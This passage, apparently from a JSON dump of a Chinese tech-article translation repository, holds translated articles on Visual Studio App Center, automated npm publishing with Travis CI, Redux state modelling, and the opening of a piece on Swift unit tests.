仓库，选取一个分支，配置几个参数，你就可以在云中生成 Android、UWP 甚至 iOS 和 macOS 应用，而无需管理任何硬件。如果你有更特别的需求，你还可以添加 post-clone、pre-build 以及 post-build 脚本来进行自定义。\n\n## 2. 测试\n\n我花了许多年做软件测试。在我的职业生涯中，以下是我最讨厌听到的三个问题：\n\n“你完成了吗？”\n\n“你可以重现吗？”\n\n“真的有这么糟糕？”\n\n在过去，已经很难有足够的时间和资源来进行彻底的，像样的测试。但是移动开发的出现让这一问题更加恶化。如今我们需要将更多的代码更加频繁地分发到更多的设备上去，我们不能浪费几个小时来重现一个神出鬼没的重大故障，我们也没有时间来争论某一个 Bug 是否严重到推迟产品发布时间。然而同时，我们又是最终需要对无法忽视的故障和劣质产品负责的人。作为团队的成员，我们希望比问题更快一步，来**提升**质量，而不是让问题阻碍了发布。\n\n所以解决之道是什么？当然是”自动化“。但必须是**有意义**的自动化。如果你不能整合到一起的话，一张张的数据表和一个个存满截屏的文件夹就什么用处也没有。当你临近截止日期，而又必须说服产品负责人来打电话中止发布的时候，你不仅要给出易于他们理解的信息，同时又要给开发人员保留足够的细节来供其修复。\n\n![使用微软移动中心来测试](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/11/1510796048Mobile-Center_Image2_test-1024x582.png)\n\n为了改善这一问题，我们创建了应用中心测试服务。该服务可以在数以千计的真实设备上使用数以百计的不同配置来进行自动化 UI 测试。因为测试全部是自动的，每一次都确保运行完全相同的测试，这样在每一次生成中你都能立刻发现性能问题和 UX 偏差。测试会生成截图和视频，也会生成性能数据，这样任何人都能发现问题，而开发人员也能点进详细的日志中，即刻开始修复问题。你还可以在每次代码提交时先在个别设备上做抽查，然后再在数以百计的不同设备上做回归测试，以确保对所有的用户都一切正常。\n\n## 3. 分发\n\n你终于完成了一个应用并且它能像预期一样正常工作，太棒了！但是真正的迭代现在才开始。你想在应用抵达终端用户之前就知道其他人怎么看你的应用，但是你要怎么做呢？创建一个 beta 版本已经足够难了，而要确保每一个人都有你应用的最新版本（如果是移动应用，甚至要先确保用户能够安装它）简直要花费你全部的时间，并且你的团队成员谁都不愿意做这样的工作。\n\n再一次，**自动化**。当你准备好推送一个版本的时候，你需要自动化的通知流程**以及**应用分发流程，并且你需要在每一次你生成的时候（或至少发布经理同意的时候），这两者都能够自动触发。\n\n![使用微软移动中心来分发](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/11/1510796093Mobile-Center_Image3_Distribute-1024x640.png)\n\n我们的解决方案是应用中心分发服务。你需要的只是一组邮件地址，就可以把你的版本发布到内部用户或 beta 测试用户的手中。你只需创建一个分发组，上传你的版本（或者从源代码仓库生成），然后分发服务就会处理剩下的一切。如果你觉得这听起来就像 [HockeyApp](https://hockeyapp.net/)，你猜对了。应用中心分发服务就是下一代的 HockeyApp，将它的自动化分发功能整合进我们其它的持续集成/持续分发服务之中。一旦你完成了 beta 测试，分发服务就会将你的应用部署到 Google Play，苹果的 App Store，或者 —— 对于企业用户来说 —— 微软的 Intune，从而让你的应用抵达最终用户手中。\n\n## 4. 闭环\n\n人们经常谈论部署流水线，但我们不满足于单向的部署过程。如果你能够知晓在应用发布完**之后**发生了什么，你就可以把反馈意见告知开发人员，由此形成一个闭环来使你的产品更好、更快。这一反馈信息以两种形式存在 —— 关于用户如何和你的应用进行交互的分析，以及必不可少的，关于应用在何时，发生怎样的故障的报告。\n\n先说第二点，因为故障很要命。当应用出现故障的时候，虽然你想快速地了解情况，但你更需要知道故障到底有多紧要。在一个不起眼的小功能中却影响到所有人的故障，通常比只有 iPhone 4 用户完全无法启动应用，要更严重。应用中心的故障服务可以将相似的故障进行分组，并且告知你最受影响的平台，以使你做出明智的分检决定。当你准备好开始修复问题的时候，故障已经完全符号化，所有你需要的信息已经准备就绪。你可以自动地在你的故障跟踪程序中创建记录，方便开放人员无需中断他们的工作流就可以开始修复故障。更多的自动化再一次带来更多的时间，以编写更好的代码。\n\n对于第一点的分析数据，你通常需要一些开箱即用的工具。应用中心分析服务提供了用户层面和设备层面的、侧重于参与度的度量应用，这些都是产品负责人最希望见到的。它们可以告诉你诸如：是谁在使用哪些设备、使用得多频繁、在哪里使用、使用多长时间等信息。当然，你的应用不会和别人的完全一样，因此你更可以创建和跟踪自定义的度量，比如“预定了乘车”或者“选择了配送上门”。如果你需要更深入的分析，我们还支持持续导出到 [Azure Application Insights](https://azure.microsoft.com/en-us/services/application-insights/)。\n\n## 5. 使用手边的工具开始工作\n\n你可以花费整天的时间来纸上谈兵地构想你完美的持续集成/持续分发方案，但是除非你能付诸行动，它分文不值。不管是集成一个你十分偏爱的现有系统（或许你只是不得不用），还是先自动化一些小的手动流程再逐渐改善其它部分，重要的是你能利用手边可用的工具立即开始行动。\n\n当然，在这里我的立场是有倾向性的，并且我相信你应该尝试一下我们的整套系统。不过开发者有着各式各样的需求。如果你只是想要采用应用中心的部分服务，我们已经把它设计为完全模块化的了。我们为每一个应用中心的服务提供了 REST API，我们也和像 VSTS 之类的服务预先做好了集成。我们相信这才是它应有的样子，因为是你在创建**你的**应用，你应该用**自己的**方式来创建它。\n\n我们欢迎你 [试一试 Visual Studio 应用中心](https://appcenter.ms/signup?utm_source=Sitecore&utm_medium=Blog&utm_campaign=appcenter_connect)，此时它是全新的，并且可以免费开始试用。我们希望听到你的想法！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/automated-npm-releases-with-travis-ci.md",
    "content": "> * 原文地址：[Automated npm releases with Travis CI](https://tailordev.fr/blog/2018/03/15/automated-npm-releases-with-travis-ci/)\n> * 原文作者：[TailorDev](https://tailordev.fr)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/automated-npm-releases-with-travis-ci.md](https://github.com/xitu/gold-miner/blob/master/TODO/automated-npm-releases-with-travis-ci.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[talisk](https://github.com/talisk)、[liang-kai](https://github.com/liang-kai)\n\n# 使用 Travis CI 自动发布 npm \n\n在 [npm 注册表](https://www.npmjs.com/)发布一个包应该是很无聊的，在这篇博客中，我描述了如何在每次打 git 标签时使用 [Travis CI](https://travis-ci.org/) 来发布 npm 包。\n\n![使用 Travis CI 自动发布 npm](https://tailordev.fr/img/post/2018/03/automated-npm-releases.png)\n\n在 TailorDev，我们喜欢自动化构建软件所需的许多重要步骤。其中一个步骤是发布最终的，即可生产的应用程序包，也称为工件或者包。今天，我们关注于 JavaScript 世界，描述如何不花费太大心血而在 npm 注册表中实现包的自动化发布过程。\n\n首先，npm 在 2017 年推出了 [双因素认证](https://docs.npmjs.com/getting-started/using-two-factor-authentication) (简称 2FA)，这是一个很好的想法，直到我们发现了它是“全部或者没有”！[:confused:](https://assets.github.com/images/icons/emoji/unicode/1f615.png \":confused:\")。事实上, npm 2FA 依赖于[一次性密码](https://en.wikipedia.org/wiki/One-time_password)来保护账户以及与您账户相关的所有内容，并自动实现这一功能，从而无法实现 2FA 的功能。\n\n**但是为什么这会如此重要呢？**我很高兴您会这么问，因为我们在续集中需要一个 API 令牌，而且目前不可能在不触发 2FA 机制的情况下生成和使用令牌。换句话说，启用 2FA，几乎不可能自动化 npm 发布过程，“几乎”是因为 npm 实现了[双级别身份认证](https://docs.npmjs.com/getting-started/using-two-factor-authentication#levels-of-authentication): **`auth-only`**  和 **`auth-and-writes`**。通过将 2FA 的使用限制在 **`auth-only`** 上，我们就可以使用 API 令牌，但安全性较低。我们真的希望 npm 可以在不久的将来为自动化任务设计的 auth 令牌，同时：\n\n```\n$ npm profile enable-2fa auth-only\n```\n\n一旦您的账户启用了 **`auth-only`** 用法的 2FA (顺便说一句，这比没有启用 2FA 更好)，那就让我们开始创建一个令牌：\n\n```\n$ npm token create\n\n+----------------+--------------------------------------+\n| token          | a73c9572-f1b9-8983-983d-ba3ac3cc913d |\n+----------------+--------------------------------------+\n| cidr_whitelist |                                      |\n+----------------+--------------------------------------+\n| readonly       | false                                |\n+----------------+--------------------------------------+\n| created        | 2017-10-02T07:52:24.838Z             |\n+----------------+--------------------------------------+\n```\n\n这个令牌将由 Travis CI 用于代表您进行身份验证。我们也可以[使用 Travis CLI 将该令牌作为环境变量进行加密](https://docs.travis-ci.com/user/environment-variables/#Encrypting-environment-variables)或者[在 Travis CI 存储库设置中定义一个变量](https://docs.travis-ci.com/user/environment-variables/#Defining-Variables-in-Repository-Settings),，这样做将会更方便。声明两个私密环境变量 **`NPM_EMAIL`** 和 **`NPM_TOKEN`**：\n\n![Travis CI 设置](https://tailordev.fr/img/post/2018/03/travis-ci-settings.png)\n\n现在，最重要的部分是创建一个实际发布 npm 包的任务。我们决定利用[构建阶段（测试版）特性](https://docs.travis-ci.com/user/build-stages/)结合 [Travis CI 推荐的方式发布 npm 包](https://docs.travis-ci.com/user/deployment/npm/)。为了做记录，我们希望每次构建版本只发布一次。不管现有的构建矩阵如何，我们还希望在发布 npm 包时使用 git 标签，以便在 npm 版本和 GitHub 版本之间保持一致。\n\n我们从一个用于 JavaScript 项目的标准 **`.travis.yml`** 文件开始，在该文中对代码进行了 Node 8 和 9 的测试，并使用 [yarn](https://yarnpkg.com/) 作为包管理器：\n\n```\nlanguage: node_js\nnode_js:\n  - \"8\"\n  - \"9\"\n\ncache: yarn\n\ninstall: yarn\nscript:\n  - yarn lint\n  - yarn test\n```\n\n![标准 Travis CI 输出带有两个 JavaScript 任务](https://tailordev.fr/img/post/2018/03/travis-ci-two-jobs-node.png)\n\n我们现在可以通过将以下配置添加到之前的 **`.travis.yml`** 文件中来配置“部署”任务：\n\n```\njobs:\n  include:\n    - stage: npm release\n      if: tag IS present\n      node_js: \"8\"\n      script: yarn compile\n      before_deploy:\n        - cd dist\n      deploy:\n        provider: npm\n        email: \"$NPM_EMAIL\"\n        api_key: \"$NPM_TOKEN\"\n        skip_cleanup: true\n        on:\n          tags: true\n```\n\n让我们一行一行地分析。首先，当且仅当 **`IS 标签存在`** 时，我们“加入”一个新的 npm 发布阶段，这意味着构建已经被 git 标记触发。我们选择 node **`8`** (我们的生产版本) 并执行 **`yarn compile`** 来构建我们的包。此脚本会创建包含可以在 npm 注册表上发布包文件的 **`dist/`** 文件夹。最后但同样重要的一点是，我们调用 Travis CI **`deploy`** 命令在 npm 注册表来实际发布包（同时我们将此命令限制为 git 标记，仅作为额外的保护层）。\n\n注意：为了防止 Travis CI 清理额外的文件夹并删除你做的改变，请在发布前将 **`skip_cleanup`** 设置为 **`true`**。 \n\n![带有 JavaScript 的 Travis CI](https://tailordev.fr/img/post/2018/03/travis-ci-build-stages.png)\n\n这很酷，不是么?![:sunglasses:](https://assets.github.com/images/icons/emoji/unicode/1f60e.png \":sunglasses:\")\n\n## 优点：npm 像专业版一样发布\n\n为了创建新版本，我们使用 [**`npm 版本`**](https://docs.npmjs.com/cli/version) (它内置在 npm ![:rocket:](https://assets.github.com/images/icons/emoji/unicode/1f680.png \":rocket:\"))。假设我们当前版本是 **`0.3.2`**，我们想发布 **`0.3.3`**。在 **`master`** 分支上，我们运行以下命令\n\n```\n**$ npm version patch**\n```\n\n该命令执行以下任务：\n\n1.  在 **`package.json`** 中插入（更新）的版本号\n2.  创建一个新的提交\n3.  创建一个 git 标签\n\n我们可以使用 **`npm version minor`** 从 **`0.3.1`** 发布 **`0.4.0`** (它会颠倒第二个数字并重置最后一个数字)。我们也可以使用 **`npm version major`** 从 **`0.3.1`** 发布 **`1.0.0`**。 \n\n一旦使用 **`npm version`** 命令完成后，您就可以运行 **`git push origin master --tag`** 并稍等片刻，直到包在 npm 注册表上发布。![:tada:](https://assets.github.com/images/icons/emoji/unicode/1f389.png \":tada:\")\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/avoiding-accidental-complexity-when-structuring-your-app-state.md",
    "content": "* 原文地址：[Avoiding Accidental Complexity When Structuring Your App State](https://hackernoon.com/avoiding-accidental-complexity-when-structuring-your-app-state-6e6d22ad5e2a#.hgm96hth7)\n* 原文作者：[Tal Kol](https://hackernoon.com/@talkol)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：chemzqm@gmail.com\n* 校对者：[yifili09](https://github.com/yifili09) [DeadLion](https://github.com/DeadLion)\n\n# 构建应用状态时，你应该避免不必要的复杂性\n\n\n__Redux 做为一个 Flux 模型的实现需要我们明确思考应用程序内部的整体状态，然后花费时间建模。事实证明，这未必是一项简单的任务。它是混沌理论的一个典型例子，一个看似无害的蝴蝶翅膀振动在错误的方向可能导致飓风等一系列复杂的连锁效应（译注：蝴蝶效应）。下面提供了一个如何对应用程序状态建模的实用提示列表，它们在保证可用性的同时，也能让你的业务逻辑更加合理。__\n\n---\n\n#### 什么是应用程序状态?\n\n根据[维基百科](https://en.wikipedia.org/wiki/State_%28computer_science%29) - 计算机程序在变量中存储数据，其表示计算机存储器中的存储位置。在程序执行的任何给定时间点，这些存储器位置中的内容被称为程序的状态。\n\n\n就我们当前所讨论的状态而言，重要的是在这个定义中添加__最小化__。当对我们的应用程序建模为了更精确的控制的时候，我们将尽最大努力来用最少的数据表达应用可能处于的不同状态，从而忽略程序中可以由这个核心所派生的其它动态变量。在 [Flux](https://facebook.github.io/flux/) 应用中，状态保存在 `store` 对象内。通过调用不同的 `action` 对状态进行修改，之后__视图组件__监听到状态变化后自动在内部进行相应的重渲染处理。\n\n![](https://cdn-images-1.medium.com/max/800/1*pgxTL69KXTYjupzGO015Ew.png)\n\n[Redux](http://redux.js.org/), 做为一个 Flux 的实现，额外添加了一些更严格的要求 -  例如将整个应用的状态保存在一个单一的 `store` 对象，同时它是__不可变的__，通常（译注：指状态）也是__可序列化的__。\n\n如果你不使用 Redux，下面给出的提示也应该是有益的。 即使你不使用 Flux，它们也很有可能是有用的。\n\n#### 1. 避免根据服务端响应建模\n\n本地应用程序状态通常来自服务器。 当应用程序用于显示从远程服务器到达的数据时，它常常会被照着以服务器下发的数据格式进行保存。\n\n考虑一个电子商务网店管理应用的示例，商家使用此应用来管理商店库存，因此显示产品列表是一个关键功能。产品列表源自服务器，但需要将应用程序做为状态保存在本地，以便在视图内展现。让我们假设从服务器获取产品列表的主 API 返回以下 JSON 结果：\n\n``` javascript\n{\n  \"total\": 117,\n  \"offset\": 0,\n  \"products\": [\n    {\n      \"id\": \"88cd7621-d3e1-42b7-b2b8-8ca82cdac2f0\",\n      \"title\": \"Blue Shirt\",\n      \"price\": 9.99\n    },\n    {\n      \"id\": \"aec17a8e-4793-4687-9be4-02a6cf305590\",\n      \"title\": \"Red Hat\",\n      \"price\": 7.99\n    }\n  ]\n}\n```\n\n产品列表作为对象数组到达，为什么不将它们作为对象数组保存在应用程序状态中？\n\n服务器 API 的设计遵循不同的原则，不一定与你想要实现的应用程序状态结构一致。在这种情况下，服务器的数组结构选择可能与响应分页相关，将完整列表拆分为更小的块，因此客户端可以根据需要下载数据，并避免多次发送相同的数据以节省带宽。它们主要考虑的是网络问题，但是总而言之，与我们的应用状态关注点无关。\n\n#### 2. 首选映射而非数组\n\n一般来说，数组不便于状态的维护。考虑当特定产品需要更新或检索时会发生什么。例如，如果应用程序提供编辑价格功能，或者如果来自服务器的数据需要刷新，则可能面临的就是这种情况。遍历一个大的数组来查找特定的产品比根据它的 ID 查询这个产品要麻烦得多。\n\n那么推荐的方法是什么？ 使用主键为键值的映射类型做为查询的对象。\n\n这意味着来自上面示例的数据可以按以下结构存储应用程序的状态：\n\n``` js\n{\n  \"productsById\": {\n    \"88cd7621-d3e1-42b7-b2b8-8ca82cdac2f0\": {\n      \"title\": \"Blue Shirt\",\n      \"price\": 9.99\n    },\n    \"aec17a8e-4793-4687-9be4-02a6cf305590\": {\n      \"title\": \"Red Hat\",\n      \"price\": 7.99\n    }\n  }\n}\n```\n\n如果排序顺序很重要，会发生什么？ 例如，如果从服务器返回的订单顺序同时也是我们要给用户呈现的顺序。 对于这种情况，我们可以存储一个额外的 ID 数组：\n\n``` js\n{\n  \"productsById\": {\n    \"88cd7621-d3e1-42b7-b2b8-8ca82cdac2f0\": {\n      \"title\": \"Blue Shirt\",\n      \"price\": 9.99\n    },\n    \"aec17a8e-4793-4687-9be4-02a6cf305590\": {\n      \"title\": \"Red Hat\",\n      \"price\": 7.99\n    }\n  },\n  \"productIds\": [\n    \"88cd7621-d3e1-42b7-b2b8-8ca82cdac2f0\",\n    \"aec17a8e-4793-4687-9be4-02a6cf305590\"\n  ]\n}\n```\n\n还有一点很有意思：如果我们需要在 React Native 的 `ListView` 组件中显示数据，这个结构实际上效果很好。支持稳定行 ID 的推荐版 `cloneWithRows` 方法所需要的就是这种格式。\n\n#### 3. 避免根据视图的需要进行建模\n\n应用程序状态的最终目的是展现到视图中，并让用户觉得是一种享受。把状态保存为视图需要的形式看上去很有诱惑力，因为这能避免对数据进行额外的转换操作。\n\n让我们回到我们的电子商务商店管理示例。 假设每个产品都可以是库存或缺货两种状态之一。我们可以将此数据存储在产品对象的一个布尔属性中。\n\n``` js\n{\n  \"id\": \"88cd7621-d3e1-42b7-b2b8-8ca82cdac2f0\",\n  \"title\": \"Blue Shirt\",\n  \"price\": 9.99,\n  \"outOfStock\": false\n}\n```\n\n我们的应用程序需要显示所有缺货产品的列表。之前提到过，React Native ListView 组件期望使用调用它的 `cloneWithRows` 方法时传递两个参数：行的映射和行 ID 的数组。我们倾向于提前准备好这个状态，并且明确地保持这个列表。这将允许我们向 ListView 提供两个参数，而不需要额外的转换。我们最终得到的状态对象结构如下：\n\n``` js\n{\n  \"productsById\": {\n    \"88cd7621-d3e1-42b7-b2b8-8ca82cdac2f0\": {\n      \"title\": \"Blue Shirt\",\n      \"price\": 9.99,\n      \"outOfStock\": false\n    },\n    \"aec17a8e-4793-4687-9be4-02a6cf305590\": {\n      \"title\": \"Red Hat\",\n      \"price\": 7.99,\n      \"outOfStock\": true\n    }\n  },\n  \"outOfStockProductIds\": [\"aec17a8e-4793-4687-9be4-02a6cf305590\"]\n}\n```\n\n听起来像个好主意，对吧？ 好吧，事实证明，并不是。\n\n像以前一样，原因是，视图有自己不同的关注点。视图不关心保持状态最小。具体来说，他们的倾向完全相反，因为数据必须为用户布局服务。不同的视图可以以不同的方式呈现相同的状态数据，并且通常不可能在不复制数据的情况下满足它们。\n\n这把我们引入到下一个要点。\n\n#### 4. 避免在应用程式状态中保存重复的数据\n\n测试你的状态是否持有重复数据有一种好办法，就是检查是否需要同时更新两处数据来保证数据一致性。在上述缺货产品示例中，假设第一个产品突然变为缺货。 为了处理这个更新，我们必须将其在映射中的 `outOfStock` 字段更改为 true，并将其 ID 添加到数组 `outOfStockProductIds` 之中 - 两个更新。\n\n处理重复数据很简单。所有你需要做的是删除其中一个实例。这背后的推理源于一个[单一信息源](https://en.wikipedia.org/wiki/Single_source_of_truth)：如果数据仅保存一次，则不再可能达到不一致的状态。\n\n如果我们删除 `outOfStockProductIds` 数组，我们仍然需要找到一种方法来准备这些数据以供视图使用。这种转换必须在数据被提供给视图之前在运行时进行。Redux 应用中的推荐做法是在[选择器](https://egghead.io/lessons/javascript-redux-colocating-selectors-with-reducers)中实现此操作：\n\n``` js\n{\n  \"productsById\": {\n    \"88cd7621-d3e1-42b7-b2b8-8ca82cdac2f0\": {\n      \"title\": \"Blue Shirt\",\n      \"price\": 9.99,\n      \"outOfStock\": false\n    },\n    \"aec17a8e-4793-4687-9be4-02a6cf305590\": {\n      \"title\": \"Red Hat\",\n      \"price\": 7.99,\n      \"outOfStock\": true\n    }\n  }\n}\n\n// selector\nfunction outOfStockProductIds(state) {\n  return _.keys(_.pickBy(state.productsById, (product) => product.outOfStock));  \n}\n```\n\n选择器是一个纯函数，它将状态作为输入，并返回我们想要消费的转换后状态。 [Dan Abramov](https://twitter.com/dan_abramov) 建议我们将选择器放在 `reducers` 旁边，因为它们通常是紧耦合的。 我们将在视图的 `mapStateToProps` 函数中执行选择器。\n\n删除数组的另一个可行的替代方法是从映射中的每个产品里删除库存属性。使用这种替代方法，我们可以将数组作为单一信息源。实际上，根据提示＃2 它可能会更好，将此数组更改为映射：\n\n```\n{\n  \"productsById\": {\n    \"88cd7621-d3e1-42b7-b2b8-8ca82cdac2f0\": {\n      \"title\": \"Blue Shirt\",\n      \"price\": 9.99\n    },\n    \"aec17a8e-4793-4687-9be4-02a6cf305590\": {\n      \"title\": \"Red Hat\",\n      \"price\": 7.99\n    }\n  },\n  \"outOfStockProductMap\": {\n    \"aec17a8e-4793-4687-9be4-02a6cf305590\": true\n  }\n}\n\n// selector\nfunction outOfStockProductIds(state) {\n  return _.keys(state.outOfStockProductMap);  \n}\n```\n\n#### 5. 不要将衍生数据存储在状态中\n\n单一信息源原则不仅对于重复数据适用。在商店中出现的任何衍生数据都违反了这条原则，因为必须对多个位置进行更新以保持状态一致性。\n\n让我们在我们的商店管理示例中添加另一个要求 - 将产品放在销售中并对其价格添加折扣的能力。该应用程序需要向用户显示过滤后的商品列表，所有产品列表，以及仅显示没有折扣的产品或仅显示有折扣的产品。\n\n一个常见的错误是在商店中保存 3 个数组，每个数组包含每个过滤器的相关产品的 ID 列表。由于 3 个数组可以从当前过滤器和产品映射中导出，更好的方法是使用类似于前面的选择器来生成它们：\n\n``` js\n{\n  \"productsById\": {\n    \"88cd7621-d3e1-42b7-b2b8-8ca82cdac2f0\": {\n      \"title\": \"Blue Shirt\",\n      \"price\": 9.99,\n      \"discount\": 1.99\n    },\n    \"aec17a8e-4793-4687-9be4-02a6cf305590\": {\n      \"title\": \"Red Hat\",\n      \"price\": 7.99,\n      \"discount\": 0\n    }\n  }\n}\n\n// selector\nfunction filteredProductIds(state, filter) {\n  return _.keys(_.pickBy(state.productsById, (product) => {\n    if (filter == \"ALL_PRODUCTS\") return true;\n    if (filter == \"NO_DISCOUNTS\" && product.discount == 0) return true;\n    if (filter == \"ONLY_DISCOUNTS\" && product.discount > 0) return true;\n    return false;\n  }));\n}\n```\n\n在重新呈现视图之前，对每个状态更改执行选择器。 如果您的选择器是计算密集型，并且您关注性能，请使用 [Memoization](https://en.wikipedia.org/wiki/Memoization) 技术来计算结果并在运行一次后缓存它们。 你可以去看看实现此优化能力的 [Reselect](https://github.com/reactjs/reselect) 组件。\n\n#### 6. 规范化嵌套对象\n\n总的来说，到目前为止，这些提示的基本动机是简单性。状态时刻都需要被管理，并且我们想要的是尽可能让这个管理的过程变得简单。当数据对象是独立的，简单性更容易维护，但是当有相互关联时会发生什么？\n\n考虑我们的商店管理应用程序中的以下示例。我们想添加一个订单管理系统，客户在此可以单个订单购买多个产品。让我们假设我们有一个服务器 API，它返回以下 JSON 订单列表：\n\n``` js\n{\n  \"total\": 1,\n  \"offset\": 0,\n  \"orders\": [\n    {\n      \"id\": \"14e743f8-8fa5-4520-be62-4339551383b5\",\n      \"customer\": \"John Smith\",\n      \"products\": [\n        {\n          \"id\": \"88cd7621-d3e1-42b7-b2b8-8ca82cdac2f0\",\n          \"title\": \"Blue Shirt\",\n          \"price\": 9.99,\n          \"giftWrap\": true,\n          \"notes\": \"It's a gift, please remove price tag\"\n        }\n      ],\n      \"totalPrice\": 9.99\n    }\n  ]\n}\n```\n\n一个订单包含几个产品，因此我们需要对两者之间的关系进行建模。我们已经从提示＃1知道，我们不应该使用 API 的响应结构，这确实看起来有问题，因为它会导致产品数据的重复。\n\n在这种情况下，一种好的方法是使数据标准化，并保持两个单独的映射 - 一个用于产品，一个用于订单。由于这两种类型的对象都基于唯一的 ID，因此我们可以使用 ID 属性来指定关联。生成后的应用程序状态结构为：\n\n``` js\n{\n  \"productsById\": {\n    \"88cd7621-d3e1-42b7-b2b8-8ca82cdac2f0\": {\n      \"title\": \"Blue Shirt\",\n      \"price\": 9.99\n    },\n    \"aec17a8e-4793-4687-9be4-02a6cf305590\": {\n      \"title\": \"Red Hat\",\n      \"price\": 7.99\n    }\n  },\n  \"ordersById\": {\n    \"14e743f8-8fa5-4520-be62-4339551383b5\": {\n      \"customer\": \"John Smith\",\n      \"products\": {\n        \"88cd7621-d3e1-42b7-b2b8-8ca82cdac2f0\": {\n          \"giftWrap\": true,\n          \"notes\": \"It's a gift, please remove price tag\"\n        }\n      },\n      \"totalPrice\": 9.99\n    }\n  }\n}\n```\n\n如果我们想查找属于某个订单的所有产品，我们将遍历 `products` 属性的键。 每个键值是一个产品 ID。 使用此 ID 访问 `productsById` 映射将为我们提供产品详细信息。 此订单特定的其他产品详细信息（如 giftWrap）位于订单下的 `products` 所映射的值中。\n\n如果标准化 API 响应的过程变得乏味，可使用相应的辅助程序库，如 [normalizr](https://github.com/paularmstrong/normalizr)，它接受一个模式做为参数并为你执行标准化数据的过程操作。\n\n#### 7. 应用程序状态可以被视为内存数据库\n\n到目前为止，各种建模技巧我们都已经介绍了，大家应该比较熟悉了。\n\n当建模传统的数据库结构时，我们避免重复和派生，使用主键（ID）用于映射相似的表中索引数据，并规范化多个表之间的关系。这几乎就是我们之前所谈论的全部东西。\n\n像处理内存数据库一样处理应用程序状态可以有助于你处于正确的思考方向，从而做出更好的结构化决策。\n\n---\n\n#### 将应用状态视为一等公民\n\n如果说你从这篇文章的获得了什么东西，那就应该是它。\n\n在命令式编程期间，我们倾向于视代码为王，并且花费更少的时间担心内部隐式数据结构（如状态）的 “正确” 模型。我们的应用程序状态通常被发现分散在各种管理器或控制器作为私有属性，肆无忌惮的有机增长。\n\n然而在声明性的范式下情况是不同的。在像 React 这样的环境中，我们的系统表现为对状态的反应。状态变身为一等公民，与我们编写的代码一样重要。这是 Flux 里面 `actions` 对象存在的目的，同时也是 Flux 视图的真理之源。\n\nRedux 这类工具库基于 Flux 构建，并且提供了一系列工具，例如引入不可变性让我们拥有更好的应用状态可预见性。\n\n我们应该多花点时间思考我们的应用程序状态。 我们应该清楚的认识到它的复杂度，以及相应的我们所需在代码中维护它所需做出的努力。就像我们在写代码时一样，我们应该重构它，而且是在它显现出腐烂的迹象就开始。\n"
  },
  {
    "path": "TODO/avoiding-force-unwrapping-in-swift-unit-tests.md",
    "content": "> * 原文地址：[Avoiding force unwrapping in Swift unit tests](https://www.swiftbysundell.com/posts/avoiding-force-unwrapping-in-swift-unit-tests)\n> * 原文作者：[John](https://twitter.com/johnsundell)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/avoiding-force-unwrapping-in-swift-unit-tests.md](https://github.com/xitu/gold-miner/blob/master/TODO/avoiding-force-unwrapping-in-swift-unit-tests.md)\n> * 译者：[RickeyBoy](https://juejin.im/user/59c0ede76fb9a00a3d134e0b/posts)\n> * 校对者：[YinTokey](https://github.com/YinTokey)\n\n# 避免 Swift 单元测试中的强制解析\n\n强制解析（使用 `!`）是 Swift 语言中不可或缺的一个重要特点（特别是和 Objective-C 的接口混合使用时）。它回避了一些其他问题，使得 Swift 语言变得更加优秀。比如 **[处理 Swift 中非可选的可选值类型](https://www.swiftbysundell.com/posts/handling-non-optional-optionals-in-swift)** 这篇文章中，在项目逻辑需要时使用强制解析去处理可选类型，将导致一些离奇的情况和崩溃。\n\n所以尽可能地避免使用强制解析，将有助于搭建更加稳定的应用，并且在发生错误时提供更好的报错信息。那么如果是编写测试时，情况会怎么样呢？安全地处理可选类型和未知类型需要大量的代码，那么问题就在于我们是否愿意为编写测试做所有的额外工作。这就是我们这周将要探讨的问题，让我们开始深入研究吧！\n\n## 测试代码 vs 产品代码\n\n当编写测试代码时，我们经常明确区分**测试代码**和**产品代码**。尽管保持这两部分代码的分离十分重要（我们不希望意外地让我们的模拟测试对象成为 App Store 上架的部分😅），但就**代码质量**来说，没有必要进行明显区分。\n\n如果你思考一下的话，我们想要对移交给使用者的代码进行高标准的要求，原因是什么呢？\n\n* 我们想要我们的 app 为使用者稳定、流畅地运行。\n* 我们想要我们的 app 在未来易于维护和修改。\n* 我们想要更容易让新人融入我们的团队。\n\n现在如果反过来考虑我们的测试，我们想要避免哪些事情呢？\n\n* 测试不稳定、脆弱、难于调试。\n* 当我们的 app 增加了新功能时，我们的测试代码需要花费大量时间来维护和升级。\n* 测试代码对于加入团队的新人来说难于理解。\n\n你可能已经理解我所讲的内容了 